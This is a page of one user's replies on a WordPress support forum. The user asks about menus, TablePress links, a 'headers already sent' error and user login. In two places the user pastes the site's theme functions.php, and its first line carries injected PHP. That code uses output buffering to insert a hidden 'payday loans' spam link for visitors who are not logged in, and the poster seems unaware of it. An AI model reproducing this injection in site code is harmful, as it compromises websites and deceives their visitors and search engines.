Forum Replies Created

Viewing 15 replies - 91 through 105 (of 113 total)
  • Thread Starter Scott Foshee

    (@scott-foshee)

    Thank you so much Sam! Here is the link: https://lallabee.com/wordpress/

    Thread Starter Scott Foshee

    (@scott-foshee)

    Thank you so much Peter! I could use either the main menu or the custom menu. Here is the link: https://lallabee.com/wordpress/

    Thread Starter Scott Foshee

    (@scott-foshee)

    Thanks! I get an error message saying that it can’t run because some providers won’t allow remote connections. I’m on GoDaddy, and I wonder if that’s it. I’ll call them tomorrow.

    Thread Starter Scott Foshee

    (@scott-foshee)

    Thanks but this only puts the menu on the left or right. I’m still looking.

    Thread Starter Scott Foshee

    (@scott-foshee)

    I need to do this and cannot figure it out. Do you mean to add it in Custom Fields somehow? The first one there listed is “No header on home page” but the value is blank, and if I add the above code it still does nothing. Is there anything else I can try? Thank you!

    That worked, thanks. I really like the plugin – it helps a lot.

    No, no dialog box for the link. Can I just put the HTML you posted above with my link in the box manually and will it work?

    I’m trying to add a link in my TablePress table too but it just shows the link text and isn’t actually a link. I’ve clicked Insert link, got the message, hit OK, clicked in the cell and pasted my link, but no clickable link appears. It’s just the address people then have to cut and paste on their own. Am I doing something wrong? Thank you for your help.

    Thread Starter Scott Foshee

    (@scott-foshee)

    I still can’t get it to work. Any ideas on what to do with this file?

    Thread Starter Scott Foshee

    (@scott-foshee)

    <?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fqca{position:absolute;clip:rect(443px,auto,auto,479px);}</style><div class=fqca>same day <a href=https://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action('wp_head', 'buffer_startx'); add_action('wp_footer', 'buffer_endx'); ?> <?php
    
    if (function_exists('register_sidebars')) {
    	register_sidebars(2, array(
    		'before_widget' => '<!--- BEGIN Widget --->',
    		'before_title' => '<!--- BEGIN WidgetTitle --->',
    		'after_title' => '<!--- END WidgetTitle --->',
    		'after_widget' => '<!--- END Widget --->'
    	));
    }
    
    function art_normalize_widget_style_tokens($content) {
    	$bw = '<!--- BEGIN Widget --->';
    	$bwt = '<!--- BEGIN WidgetTitle --->';
    	$ewt = '<!--- END WidgetTitle --->';
    	$bwc = '<!--- BEGIN WidgetContent --->';
    	$ewc = '<!--- END WidgetContent --->';
    	$ew = '<!--- END Widget --->';
    	$result = '';
    	$startBlock = 0;
    	$endBlock = 0;
    	while (true) {
    		$startBlock = strpos($content, $bw, $endBlock);
    		if (false === $startBlock) {
    			$result .= substr($content, $endBlock);
    			break;
    		}
    		$result .= substr($content, $endBlock, $startBlock - $endBlock);
    		$endBlock = strpos($content, $ew, $startBlock);
    		if (false === $endBlock) {
    			$result .= substr($content, $endBlock);
    			break;
    		}
    		$endBlock += strlen($ew);
    		$widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
    		$beginTitlePos = strpos($widgetContent, $bwt);
    		$endTitlePos = strpos($widgetContent, $ewt);
    		if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
    			$widgetContent = str_replace($bwt, '', $widgetContent);
    			$widgetContent = str_replace($ewt, '', $widgetContent);
    		} else {
    			$beginTitleText = $beginTitlePos + strlen($bwt);
    			$titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
    			if ('&nbsp;' == $titleContent) {
    				$widgetContent = substr($widgetContent, 0, $beginTitlePos)
    					. substr($widgetContent, $endTitlePos + strlen($ewt));
    			}
    		}
    		if (false === strpos($widgetContent, $bwt)) {
    			$widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
    		} else {
    			$widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
    		}
    		$result .= str_replace($ew, $ewc . $ew, $widgetContent);
    	}
    	return $result;
    }
    
    function art_sidebar($index = 1)
    {
    	if (!function_exists('dynamic_sidebar')) return false;
    	ob_start();
    	$success = dynamic_sidebar($index);
    	$content = ob_get_clean();
    	if (!$success) return false;
    	$content = art_normalize_widget_style_tokens($content);
    	$replaces = array(
    		'<!--- BEGIN Widget --->' => "\r\n<div class=\"Block\">\r\n  <div class=\"Block-body\">\r\n",
    		'<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n",
    		'<!--- END WidgetTitle --->' => "\r\n  <div class=\"l\"></div>\r\n  <div class=\"r\"><div></div></div>\r\n</div>\r\n",
    		'<!--- BEGIN WidgetContent --->' => "\r\n<div class=\"BlockContent\">\r\n  <div class=\"BlockContent-body\">\r\n",
    		'<!--- END WidgetContent --->' => "\r\n  </div>\r\n  <div class=\"BlockContent-tl\"></div>\r\n  <div class=\"BlockContent-tr\"><div></div></div>\r\n  <div class=\"BlockContent-bl\"><div></div></div>\r\n  <div class=\"BlockContent-br\"><div></div></div>\r\n  <div class=\"BlockContent-tc\"><div></div></div>\r\n  <div class=\"BlockContent-bc\"><div></div></div>\r\n  <div class=\"BlockContent-cl\"><div></div></div>\r\n  <div class=\"BlockContent-cr\"><div></div></div>\r\n  <div class=\"BlockContent-cc\"></div>\r\n</div>\r\n",
    		'<!--- END Widget --->' => "\r\n  </div>\r\n</div>\r\n"
    	);
    	$bwt = '<!--- BEGIN WidgetTitle --->';
    	$ewt = '<!--- END WidgetTitle --->';
    	if ('' == $replaces[bwt] && '' == $replaces[$ewt]) {
    		$startTitle = 0;
    		$endTitle = 0;
    		$result = '';
    		while (true) {
    			$startTitle = strpos($content, $bwt, $endTitle);
    			if (false == $startTitle) {
    				$result .= substr($content, $endTitle);
    				break;
    			}
    			$result .= substr($content, $endTitle, $startTitle - $endTitle);
    			$endTitle = strpos($content, $ewt, $startTitle);
    			if (false == $endTitle) {
    				$result .= substr($content, $startTitle);
    				break;
    			}
    			$endTitle += strlen($ewt);
    		}
    		$content = $result;
    	}
    	$content = str_replace(array_keys($replaces), array_values($replaces), $content);
    	echo $content;
    	return true;
    }
    
    function art_list_pages_filter($output)
    {
    	$output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~',
    		'<li$1><a$2><span><span>$3</span></span></a>',
    		$output);
    	$re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
    	$output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1);
    	$output = preg_replace($re, '<li class="$1$2"><a ', $output);
    	return $output;
    }
    
    function art_header_page_list_filter($pages)
    {
    	$result = array();
    	if ($GLOBALS['menu_showSubmenus']) {
    		foreach ($pages as $page)
    			$result[] = $page;
    	} else {
    		foreach ($pages as $page)
    			if (0 == $page->post_parent)
    				$result[] = $page;
    	}
    	if ('page' == get_option('show_on_front')) {
    		$pageOnFront = get_option('page_on_front');
    		$pageForPosts = get_option('page_for_posts');
    		if ($pageOnFront) {
    			foreach ($result as $key => $page) {
    				if (0 == $page->post_parent && $pageOnFront == $page->ID) {
    					unset($result[$key]);
    					break;
    				}
    			}
    		}
    		if (!$pageOnFront && $pageForPosts) {
    			foreach ($result as $key => $page) {
    				if (0 == $page->post_parent && $pageForPosts == $page->ID) {
    					unset($result[$key]);
    					break;
    				}
    			}
    		}
    	}
    	return $result;
    }
    
    function art_menu_items($showSubmenus)
    {
    	$GLOBALS['menu_showSubmenus'] = $showSubmenus;
    	$homeMenuItemCaption = 'Home';
    	$isHomeSelected = null;
    	if ('page' == get_option('show_on_front')) {
    		$pageOnFront = get_option('page_on_front');
    		$pageForPosts = get_option('page_for_posts');
    		if ($pageOnFront) {
    			$page = & get_post($pageOnFront);
    			if (null != $page)
    				$homeMenuItemCaption = $page->post_title;
    			$isHomeSelected = is_page($page->ID);
    		} elseif (!$pageOnFront && $pageForPosts) {
    			$page = & get_post($pageForPosts);
    			if (null != $page)
    				$homeMenuItemCaption = $page->post_title;
    		}
    	}
    	if (null === $isHomeSelected)
    		$isHomeSelected = is_home();
    
    	echo '<li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>'
    		. $homeMenuItemCaption . '</span></span></a></li>';
    	add_action('get_pages', 'art_header_page_list_filter');
    	add_action('wp_list_pages', 'art_list_pages_filter');
    	wp_list_pages('title_li=');
    	remove_action('wp_list_pages', 'art_list_pages_filter');
    	remove_action('get_pages', 'art_header_page_list_filter');
    }
    
    add_filter('comments_template', 'legacy_comments');
    function legacy_comments($file) {
        if(!function_exists('wp_list_comments')) : // WP 2.7-only check
        $file = TEMPLATEPATH.'/legacy.comments.php';
        endif;
        return $file;
    }
    Thread Starter Scott Foshee

    (@scott-foshee)

    Here is that file. No spaces are at the top.

    <?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if (!is_user_logged_in()) $tx=" <style>.fqca{position:absolute;clip:rect(443px,auto,auto,479px);}</style><div class=fqca>same day <a href="https://advancedcashin10min.com">payday loans</a></div>"; if (stristr($buffer,""))$buffer=str_ireplace("","".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action('wp_head', 'buffer_startx'); add_action('wp_footer', 'buffer_endx'); ?> <?php
    
    if (function_exists('register_sidebars')) {
    	register_sidebars(2, array(
    		'before_widget' => '<!--- BEGIN Widget --->',
    		'before_title' => '<!--- BEGIN WidgetTitle --->',
    		'after_title' => '<!--- END WidgetTitle --->',
    		'after_widget' => '<!--- END Widget --->'
    	));
    }
    
    function art_normalize_widget_style_tokens($content) {
    	$bw = '<!--- BEGIN Widget --->';
    	$bwt = '<!--- BEGIN WidgetTitle --->';
    	$ewt = '<!--- END WidgetTitle --->';
    	$bwc = '<!--- BEGIN WidgetContent --->';
    	$ewc = '<!--- END WidgetContent --->';
    	$ew = '<!--- END Widget --->';
    	$result = '';
    	$startBlock = 0;
    	$endBlock = 0;
    	while (true) {
    		$startBlock = strpos($content, $bw, $endBlock);
    		if (false === $startBlock) {
    			$result .= substr($content, $endBlock);
    			break;
    		}
    		$result .= substr($content, $endBlock, $startBlock - $endBlock);
    		$endBlock = strpos($content, $ew, $startBlock);
    		if (false === $endBlock) {
    			$result .= substr($content, $endBlock);
    			break;
    		}
    		$endBlock += strlen($ew);
    		$widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
    		$beginTitlePos = strpos($widgetContent, $bwt);
    		$endTitlePos = strpos($widgetContent, $ewt);
    		if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
    			$widgetContent = str_replace($bwt, '', $widgetContent);
    			$widgetContent = str_replace($ewt, '', $widgetContent);
    		} else {
    			$beginTitleText = $beginTitlePos + strlen($bwt);
    			$titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
    			if ('?' == $titleContent) {
    				$widgetContent = substr($widgetContent, 0, $beginTitlePos)
    					. substr($widgetContent, $endTitlePos + strlen($ewt));
    			}
    		}
    		if (false === strpos($widgetContent, $bwt)) {
    			$widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
    		} else {
    			$widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
    		}
    		$result .= str_replace($ew, $ewc . $ew, $widgetContent);
    	}
    	return $result;
    }
    
    function art_sidebar($index = 1)
    {
    	if (!function_exists('dynamic_sidebar')) return false;
    	ob_start();
    	$success = dynamic_sidebar($index);
    	$content = ob_get_clean();
    	if (!$success) return false;
    	$content = art_normalize_widget_style_tokens($content);
    	$replaces = array(
    		'<!--- BEGIN Widget --->' => "\r\n<div class=\"Block\">\r\n  <div class=\"Block-body\">\r\n",
    		'<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n",
    		'<!--- END WidgetTitle --->' => "\r\n  <div class=\"l\"></div>\r\n  <div class=\"r\"><div></div></div>\r\n</div>\r\n",
    		'<!--- BEGIN WidgetContent --->' => "\r\n<div class=\"BlockContent\">\r\n  <div class=\"BlockContent-body\">\r\n",
    		'<!--- END WidgetContent --->' => "\r\n  </div>\r\n  <div class=\"BlockContent-tl\"></div>\r\n  <div class=\"BlockContent-tr\"><div></div></div>\r\n  <div class=\"BlockContent-bl\"><div></div></div>\r\n  <div class=\"BlockContent-br\"><div></div></div>\r\n  <div class=\"BlockContent-tc\"><div></div></div>\r\n  <div class=\"BlockContent-bc\"><div></div></div>\r\n  <div class=\"BlockContent-cl\"><div></div></div>\r\n  <div class=\"BlockContent-cr\"><div></div></div>\r\n  <div class=\"BlockContent-cc\"></div>\r\n</div>\r\n",
    		'<!--- END Widget --->' => "\r\n  </div>\r\n</div>\r\n"
    	);
    	$bwt = '<!--- BEGIN WidgetTitle --->';
    	$ewt = '<!--- END WidgetTitle --->';
    	if ('' == $replaces[bwt] && '' == $replaces[$ewt]) {
    		$startTitle = 0;
    		$endTitle = 0;
    		$result = '';
    		while (true) {
    			$startTitle = strpos($content, $bwt, $endTitle);
    			if (false == $startTitle) {
    				$result .= substr($content, $endTitle);
    				break;
    			}
    			$result .= substr($content, $endTitle, $startTitle - $endTitle);
    			$endTitle = strpos($content, $ewt, $startTitle);
    			if (false == $endTitle) {
    				$result .= substr($content, $startTitle);
    				break;
    			}
    			$endTitle += strlen($ewt);
    		}
    		$content = $result;
    	}
    	$content = str_replace(array_keys($replaces), array_values($replaces), $content);
    	echo $content;
    	return true;
    }
    
    function art_list_pages_filter($output)
    {
    	$output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)~',
    		'<li$1><a$2><span><span>$3</span></span>',
    		$output);
    	$re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
    	$output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1);
    	$output = preg_replace($re, '<li class="$1$2"><a ', $output);
    	return $output;
    }
    
    function art_header_page_list_filter($pages)
    {
    	$result = array();
    	if ($GLOBALS['menu_showSubmenus']) {
    		foreach ($pages as $page)
    			$result[] = $page;
    	} else {
    		foreach ($pages as $page)
    			if (0 == $page->post_parent)
    				$result[] = $page;
    	}
    	if ('page' == get_option('show_on_front')) {
    		$pageOnFront = get_option('page_on_front');
    		$pageForPosts = get_option('page_for_posts');
    		if ($pageOnFront) {
    			foreach ($result as $key => $page) {
    				if (0 == $page->post_parent && $pageOnFront == $page->ID) {
    					unset($result[$key]);
    					break;
    				}
    			}
    		}
    		if (!$pageOnFront && $pageForPosts) {
    			foreach ($result as $key => $page) {
    				if (0 == $page->post_parent && $pageForPosts == $page->ID) {
    					unset($result[$key]);
    					break;
    				}
    			}
    		}
    	}
    	return $result;
    }
    
    function art_menu_items($showSubmenus)
    {
    	$GLOBALS['menu_showSubmenus'] = $showSubmenus;
    	$homeMenuItemCaption = 'Home';
    	$isHomeSelected = null;
    	if ('page' == get_option('show_on_front')) {
    		$pageOnFront = get_option('page_on_front');
    		$pageForPosts = get_option('page_for_posts');
    		if ($pageOnFront) {
    			$page = & get_post($pageOnFront);
    			if (null != $page)
    				$homeMenuItemCaption = $page->post_title;
    			$isHomeSelected = is_page($page->ID);
    		} elseif (!$pageOnFront && $pageForPosts) {
    			$page = & get_post($pageForPosts);
    			if (null != $page)
    				$homeMenuItemCaption = $page->post_title;
    		}
    	}
    	if (null === $isHomeSelected)
    		$isHomeSelected = is_home();
    
    	echo '
    <li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>'
    		. $homeMenuItemCaption . '</span></span></li>
    ';
    	add_action('get_pages', 'art_header_page_list_filter');
    	add_action('wp_list_pages', 'art_list_pages_filter');
    	wp_list_pages('title_li=');
    	remove_action('wp_list_pages', 'art_list_pages_filter');
    	remove_action('get_pages', 'art_header_page_list_filter');
    }
    
    add_filter('comments_template', 'legacy_comments');
    function legacy_comments($file) {
        if(!function_exists('wp_list_comments')) : // WP 2.7-only check
        $file = TEMPLATEPATH.'/legacy.comments.php';
        endif;
        return $file;
    }

    [Moderator Note: Please post code & markup between backticks or use the code button. Your posted code may now have been permanently damaged by the forum’s parser.]

    Thread Starter Scott Foshee

    (@scott-foshee)

    The full error message:

    Warning: Cannot modify header information – headers already sent by (output started at /home/content/75/6353775/html/hanover/wp-content/themes/Business-Place/functions.php:1) in /home/content/75/6353775/html/hanover/wp-includes/pluggable.php on line 876

    Thread Starter Scott Foshee

    (@scott-foshee)

    Thanks. I followed the instructions and there was no ?> at the end. I put this in and no luck. I put the cursor between the ? and the >, held down delete for 15 seconds, replaced the > and no luck. This is in the pluggable.php file. Should I take the ?> back out so the file will be like it was to start?

    I should mention that someone told me it might be a broken plugin – i inherited this site and I don’t believe WordPress or the plugins have been updated in a while. I cannot get in to the Admin to do it though.

    Any other ideas? I really appreciate your help.

    Thread Starter Scott Foshee

    (@scott-foshee)

    FTP – sorry

    Thanks so much – now Persistence works! I just hope it continues to work with new WP updates.

    Now how to get the users to login? My login message is displayed, but does not direct them anywhere. Do they need to sign up for a WP account to do this?

Viewing 15 replies - 91 through 105 (of 113 total)